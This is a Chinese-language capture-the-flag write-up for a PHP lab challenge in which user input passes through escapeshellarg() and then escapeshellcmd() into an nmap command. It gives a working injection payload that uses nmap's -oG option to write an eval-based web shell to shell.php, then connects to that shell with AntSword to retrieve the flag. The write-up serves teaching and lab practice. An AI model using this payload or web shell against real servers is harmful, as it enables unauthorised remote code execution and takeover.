一、信息收集
打开靶场,发现页面源码。
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
echo $host."<br />";
$host = escapeshellarg($host);
echo $host."<br />";
$host = escapeshellcmd($host);
echo $host."<br />";
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
涉及到两个函数escapeshellarg()
与escapeshellcmd()
,这两函数会造成参数逃逸的问题,详情请查看PHP escapeshellarg()+escapeshellcmd()漏洞。
二、构造payload
我们注意到这里执行的命令是nmap工具,nmap中含有一条写入文件的选项为-oG
,具体作用查询手册。
payload:?host='<? @eval($_POST["shell"]);?> -oG shell.php '
解释:-oG
会将执行的命令操作写入指定的文件中,经过这两个函数之后host中的内容为'\<\? @eval\(\$_POST\[\"shell\"\]\)\;\?\> -oG shell.php '
,实际在system()
函数中执行的内容为nmap -T5 -sT -Pn --host-timeout 2 -F \<? @eval($_POST["shell"]);?> -oG shell.php '\'
,使得写入文件的内容为:
# Nmap 7.70 scan initiated Tue Jun 21 07:35:23 2022 as: nmap -T5 -sT -Pn --host-timeout 2 -F -oG shell.php \<? @eval($_POST[shell]);?> \\
# Nmap done at Tue Jun 21 07:35:24 2022 -- 0 IP addresses (0 hosts up) scanned in 0.92 seconds
三、蚁剑连接shell
用蚁剑连接shell,在根目录找到flag。